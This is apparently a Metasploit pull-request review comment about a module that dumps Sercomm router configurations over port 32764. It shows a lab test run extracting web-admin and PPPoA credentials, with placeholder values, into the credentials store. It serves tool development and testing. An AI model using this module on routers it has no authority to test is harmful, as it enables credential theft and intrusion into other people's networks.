REVIEW 2878

Tried to keep the old parsing method, so not so much parsing, just keeping a hash of @credentials to store results:

Fake test:

```
msf auxiliary(sercomm_dump_config) > run

[*] 192.168.172.134:32764 - Attempting to connect and check endianess...
[+] 192.168.172.134:32764 - Big Endian device found...
[*] 192.168.172.134:32764 - Attempting to connect and dump configuration...
[*] 192.168.172.134:32764 - Router configuration dump stored in: /Users/juan/.msf4/loot/20140114165903_default_192.168.172.134_router.config_839452.txt
[*] 192.168.172.134:32764 - Wifi SSID: NETGEAR
[*] 192.168.172.134:32764 - HTTP Web Management: User: admin Pass: asdfadfs
[*] 192.168.172.134:32764 - PPPoA: User: asdfadfs@asdfadfs Pass: asdfadfs
[*] Auxiliary module execution completed
msf auxiliary(sercomm_dump_config) > creds

Credentials
===========

host             port   user                          pass       type      proof  active?
----             ----   ----                          ----       ----      -----  -------
192.168.172.134  32764  asdfadfs  asfddfsa  password         true
192.168.172.134  32764  asdfdsafdsfa                         afsdfads    password         true

```

Please feel free to check, discuss and test on real environment. Once you feel comfortable with it, land into your repo and https://github.com/rapid7/metasploit-framework/pull/2878 will be automatically updated!